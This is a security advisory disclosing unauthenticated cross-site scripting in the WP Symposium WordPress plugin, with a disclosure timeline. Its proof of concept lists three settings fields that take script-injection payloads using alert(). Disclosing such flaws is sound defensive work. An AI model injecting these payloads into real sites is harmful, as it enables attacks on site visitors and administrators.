Plugin Name : WP Symposium
 
Effected Version : 14.05.02 (and most probably lower version's if any)
 
Vulnerability : A3-Cross-Site Scripting (XSS)
 
Identified by : Madhu Akula
 

 
Technical Details
 
Minimum Level of Access Required : Unauthenticated
 
PoC - (Proof of Concept) :

The following fields put the payload as below
 
http://localhost/wp-admin/admin.php?page=symposium_settings.php
 
wps_time_out = “><script>alert(1)</script>
 
wps_js_file = “><script>alert(2)</script>

img_path = “><script>alert(3)</script>

 

Video Demonstration:

http://www.youtube.com/watch?v=_T_2-s2AMY0
 
Impact : Multiple Cross Site Scripting vulnerabilities
 
Fixed in : No update
 
 
Disclosure Timeline
 
Vendor Contacted : 2014-08-01
 
Plugin Status : No Change on 2014-08-02
 
Public Disclosure : October 3, 2015
 
CVE Number : Not assigned yet
 
Plugin Description :
 
WP Symposium turns a WordPress website into a Social Network! It is a WordPress plugin that provides a forum, activity (similar to Facebook wall), member directory, private mail, notification panel, chat windows, profile page, social widgets, activity alerts, RSS activity feeds, Groups, Events, Gallery, Facebook Connect and Mobile support! You simply choose which you want to activate! Certain features are optional to members to protect their privacy.